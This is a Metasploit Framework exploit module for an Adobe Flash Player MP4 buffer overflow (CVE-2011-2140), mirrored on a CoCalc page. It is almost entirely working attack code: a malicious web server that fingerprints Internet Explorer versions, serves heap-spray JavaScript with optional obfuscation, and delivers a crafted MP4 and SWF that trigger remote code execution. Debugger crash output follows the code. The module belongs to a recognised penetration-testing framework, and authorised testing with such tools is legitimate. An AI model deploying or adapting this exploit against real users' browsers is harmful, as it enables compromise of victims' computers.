CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/adobe_flash_sps.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info={})
12
super(update_info(info,
13
'Name' => "Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow",
14
'Description' => %q{
15
This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx
16
component. When processing a MP4 file (specifically the Sequence Parameter Set),
17
Flash will see if pic_order_cnt_type is equal to 1, which sets the
18
num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in
19
offset_for_ref_frame on the stack, which allows arbitrary remote code execution
20
under the context of the user. Numerous reports also indicate that this
21
vulnerability has been exploited in the wild.
22
},
23
'License' => MSF_LICENSE,
24
'Author' =>
25
[
26
'Alexander Gavrun', # RCA
27
'Unknown', # Abysssec, proof of concept
28
'sinn3r' # Metasploit
29
],
30
'References' =>
31
[
32
[ 'CVE', '2011-2140' ],
33
[ 'OSVDB', '74439'],
34
[ 'BID', '49083' ],
35
[ 'ZDI', '11-276' ],
36
[ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ],
37
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ],
38
[ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ]
39
],
40
'Payload' =>
41
{
42
'BadChars' => "\x00",
43
'StackAdjustment' => -3500
44
},
45
'DefaultOptions' =>
46
{
47
'EXITFUNC' => "seh",
48
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
49
},
50
'Platform' => 'win',
51
'Targets' =>
52
[
53
[ 'Automatic', {} ],
54
[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600' } ], #0x5f4 = spot on
55
[ 'IE 7 on Windows XP SP3 / Vista', { 'Offset' => '0x600' } ]
56
],
57
'Privileged' => false,
58
'DisclosureDate' => '2011-08-09',
59
'DefaultTarget' => 0))
60
61
register_options(
62
[
63
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
64
])
65
end
66
67
def get_target(agent)
68
#If the user is already specified by the user, we'll just use that
69
return target if target.name != 'Automatic'
70
71
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
72
return targets[1]
73
elsif agent =~ /MSIE 7/
74
return targets[2]
75
else
76
return nil
77
end
78
end
79
80
def on_request_uri(cli, request)
81
agent = request.headers['User-Agent']
82
my_target = get_target(agent)
83
84
# Avoid the attack if the victim doesn't have the same setup we're targeting
85
if my_target.nil?
86
print_error("Browser not supported: #{agent.to_s}")
87
send_not_found(cli)
88
return
89
end
90
91
# The SWF requests our MP4 trigger
92
if request.uri =~ /\.mp4$/
93
print_status("Sending MP4")
94
send_response(cli, @mp4, {'Content-Type'=>'video/mp4'})
95
return
96
end
97
98
# The SWF request itself
99
if request.uri =~ /\.swf$/
100
print_status("Sending SWF")
101
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
102
return
103
end
104
105
# Redirect to a trailing slash so relative paths work properly
106
if get_resource != "/" and not request.uri.index("#{get_resource}/")
107
uri = get_resource + "/"
108
send_redirect(cli, uri)
109
return
110
end
111
112
# Set payload depending on target
113
p = payload.encoded
114
115
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
116
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
117
randnop = rand_text_alpha(rand(100) + 1)
118
119
js = <<-JS
120
var heap_obj = new heapLib.ie(0x20000);
121
var code = unescape("#{js_code}");
122
var #{randnop} = "#{js_nops}";
123
var nops = unescape(#{randnop});
124
125
while (nops.length < 0x80000) nops += nops;
126
var offset = nops.substring(0, #{my_target['Offset']});
127
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
128
129
while (shellcode.length < 0x40000) shellcode += shellcode;
130
var block = shellcode.substring(0, (0x7ffc0-6)/2);
131
132
heap_obj.gc();
133
134
for (var i=1; i < 0x300; i++) {
135
heap_obj.alloc(block);
136
}
137
JS
138
139
js = heaplib(js, {:noobfu => true})
140
141
if datastore['OBFUSCATE']
142
js = ::Rex::Exploitation::JSObfu.new(js)
143
js.obfuscate(memory_sensitive: true)
144
end
145
146
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
147
mp4_uri = "http://#{myhost}:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.mp4"
148
swf_uri = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf" + "?autostart=true&image=video.jpg&file=#{mp4_uri}"
149
150
html = %Q|
151
<html>
152
<head>
153
<script>
154
#{js}
155
</script>
156
</head>
157
<body>
158
<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
159
<param name="movie" value="#{swf_uri}">
160
</object>
161
</body>
162
</html>
163
|
164
165
html = html.gsub(/^ {4}/, '')
166
167
print_status("Sending HTML")
168
send_response(cli, html, {'Content-Type'=>'text/html'})
169
end
170
171
def exploit
172
@mp4 = create_mp4
173
@swf = create_swf
174
super
175
end
176
177
def create_swf
178
path = ::File.join( Msf::Config.data_directory, "exploits", "mp4player.swf" )
179
fd = ::File.open( path, "rb" )
180
swf = fd.read(fd.stat.size)
181
fd.close
182
return swf
183
end
184
185
def create_mp4
186
ftypAtom = "\x00\x00\x00\x20" #Size
187
ftypAtom << "ftypisom"
188
ftypAtom << "\x00\x00\x02\x00"
189
ftypAtom << "isomiso2avc1mp41"
190
191
mdatAtom = "\x00\x00\x00\x10" #Size
192
mdatAtom << "mdat"
193
mdatAtom << "\x00\x00\x02\x8B\x06\x05\xFF\xFF"
194
195
moovAtom1 = "\x00\x00\x08\x83" #Size
196
moovAtom1 << "moov" #Move header box header
197
moovAtom1 << "\x00\x00\x00"
198
moovAtom1 << "lmvhd" # Type
199
moovAtom1 << "\x00\x00\x00\x00" # Version/Flags
200
moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
201
moovAtom1 << "\x00\x00\x03\xE8" # Time scale
202
moovAtom1 << "\x00\x00\x2F\x80" # Duration
203
moovAtom1 << "\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
204
moovAtom1 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
205
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x02\xFA"
206
moovAtom1 << "trak" # Track box header
207
moovAtom1 << "\x00\x00\x00\x5C"
208
moovAtom1 << "tkhd"
209
moovAtom1 << "\x00\x00\x00\x0F"
210
moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
211
moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x2E\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
212
moovAtom1 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
213
moovAtom1 << "\x00\x00\x00\x00\x40\x00\x00\x00\x01\x42\x00\x00\x01\x42\x00\x00\x00\x00\x02"
214
moovAtom1 << "rmdia"
215
moovAtom1 << "\x00\x00\x00\x20" # Size
216
moovAtom1 << "mdhd" # Media header box
217
moovAtom1 << "\x00\x00\x00\x00" # Version/Flags
218
moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
219
moovAtom1 << "\x00\x00\x00\x01" # Time scale
220
moovAtom1 << "\x00\x00\x00\x0C" # Duration
221
moovAtom1 << "\x55\xC4\x00\x00"
222
moovAtom1 << "\x00\x00\x00\x2D" # Size
223
moovAtom1 << "hdlr" # Handler Reference header
224
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00"
225
moovAtom1 << "vide" # Handler type
226
moovAtom1 << "\x00\x00\x00\x00\x00"
227
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00"
228
moovAtom1 << "VideoHandler" # Handler name
229
moovAtom1 << "\x00\x00\x00\x02\x1D"
230
moovAtom1 << "minf"
231
moovAtom1 << "\x00\x00\x00\x14"
232
moovAtom1 << "vmhd"
233
moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24"
234
moovAtom1 << "dinf" # Data information box header
235
moovAtom1 << "\x00\x00\x00\x1c"
236
moovAtom1 << "dref" # Data reference box
237
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
238
moovAtom1 << "\x00\x00\x00\x0C" # Size
239
moovAtom1 << "url " # Data entry URL box
240
moovAtom1 << "\x00\x00\x00\x01" # Location / version / flags
241
moovAtom1 << "\x00\x00\x09\xDD" # Size
242
moovAtom1 << "stbl"
243
moovAtom1 << "\x00\x00\x08\x99"
244
moovAtom1 << "stsd"
245
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
246
moovAtom1 << "\x00\x00\x08\x89" # Size
247
moovAtom1 << "avc1"
248
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
249
moovAtom1 << "\x01\x42" # Width
250
moovAtom1 << "\x01\x42" # Height
251
moovAtom1 << "\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
252
moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
253
moovAtom1 << "\x18" # Depth
254
moovAtom1 << "\xFF\xFF"
255
moovAtom1 << "\x00\x00\x08\x33" # Size
256
moovAtom1 << "avcC"
257
moovAtom1 << "\x01" # Config version
258
moovAtom1 << "\x64" # Avc profile indication
259
moovAtom1 << "\x00" # Compatibility
260
moovAtom1 << "\x15" # Avc level indication
261
moovAtom1 << "\xFF\xE1"
262
263
# Although the fields have different values, they all become 0x0c0c0c0c
264
# in memory.
265
cycle = "\x00\x00\x00"
266
cycle << "\x30\x30\x30\x30" #6th
267
cycle << "\x00\x00\x00"
268
cycle << "\x18\x18\x18\x18" #7th
269
cycle << "\x00\x00\x00"
270
cycle << "\x0c\x0c\x0c\x0c" #8th
271
cycle << "\x00\x00\x00"
272
cycle << "\x06\x06\x06\x06" #1st
273
cycle << "\x00\x00\x00"
274
cycle << "\x03\x03\x03\x03"
275
cycle << "\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00"
276
cycle << "\xc0\xc0\xc0\xc0" # 4th
277
cycle << "\x00\x00\x00"
278
cycle << "\x60\x60\x60\x60"
279
280
spsunit = "\x08\x1A\x67\x70\x34\x32\x74\x70\x00\x00\xAF\x88\x88\x84\x00\x00\x03\x00\x04\x00\x00\x03\x00\x3F\xFF\xFF\xFF\xFF\xFF"
281
spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
282
spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFC"
283
spsunit << cycle * 35
284
spsunit << "\x00\x00\x00\x30\x30\x03\x03\x03\x03\x00\x00\x00\xB2\x2C"
285
286
moovAtom2 = "\x00\x00\x00\x18"
287
moovAtom2 << "stts"
288
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x00\x00\x00\x01"
289
moovAtom2 << "\x00\x00\x00\x14"
290
moovAtom2 << "stss"
291
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
292
moovAtom2 << "pctts"
293
moovAtom2 << "\x00\x00\x00\x00\x00\x00"
294
moovAtom2 << "\x00\x0C\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
295
moovAtom2 << "\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02"
296
moovAtom2 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00"
297
moovAtom2 << "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02"
298
moovAtom2 << "\x00\x00\x00\x1C"
299
moovAtom2 << "stsc"
300
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01"
301
moovAtom2 << "\x00\x00\x00\x44"
302
moovAtom2 << "stsz"
303
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
304
moovAtom2 << "\x0C\x00\x00\x2F\x8D\x00\x00\x0C\xFE\x00\x00\x04\x42\x00\x00\x0B\x20\x00\x00\x04\x58\x00\x00\x07\x19\x00\x00\x07"
305
moovAtom2 << "\x63\x00\x00\x02\xD6\x00\x00\x03\xC1\x00\x00\x0A\xDF\x00\x00\x04\x9B\x00\x00\x09\x39"
306
moovAtom2 << "\x00\x00\x00\x40"
307
moovAtom2 << "stco"
308
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x0C\x00\x00\x00\x30\x00\x00\x2F\xBD\x00\x00\x3D\x8A\x00\x00\x48\x19\x00\x00\x5A\xF4"
309
moovAtom2 << "\x00\x00\x66\x1F\x00\x00\x73\xEA\x00\x00\x82\x32\x00\x00\x8A\xFA\x00\x00\x95\x51\x00\x00\xA7\x16\x00\x00\xB1\xE5"
310
311
moovAtom = moovAtom1 + spsunit + moovAtom2
312
m = ftypAtom + mdatAtom + moovAtom
313
return m
314
end
315
end
316
317
=begin
318
C:\WINDOWS\system32\Macromed\Flash\Flash10u.ocx
319
320
Flash10u+0x5b4e8:
321
Missing image name, possible paged-out or corrupt data.
322
1f06b4e8 8901 mov dword ptr [ecx],eax ds:0023:020c0000=00905a4d
323
0:008> !exchain
324
020bfdfc: <Unloaded_ud.drv>+c0c0c0b (0c0c0c0c)
325
326
ECX points to 0x0c0c0c0c at the time of the crash:
327
0:008> r
328
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
329
eip=0c0c0c0c esp=020befa8 ebp=020befc8 iopl=0 nv up ei pl zr na pe nc
330
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050246
331
<Unloaded_ud.drv>+0xc0c0c0b:
332
0c0c0c0c ?? ???
333
334
Example of SWF player URI:
335
http://www.jeroenwijering.com/embed/mediaplayer.swf
336
337
To-do:
338
IE 8 target
339
=end
340
341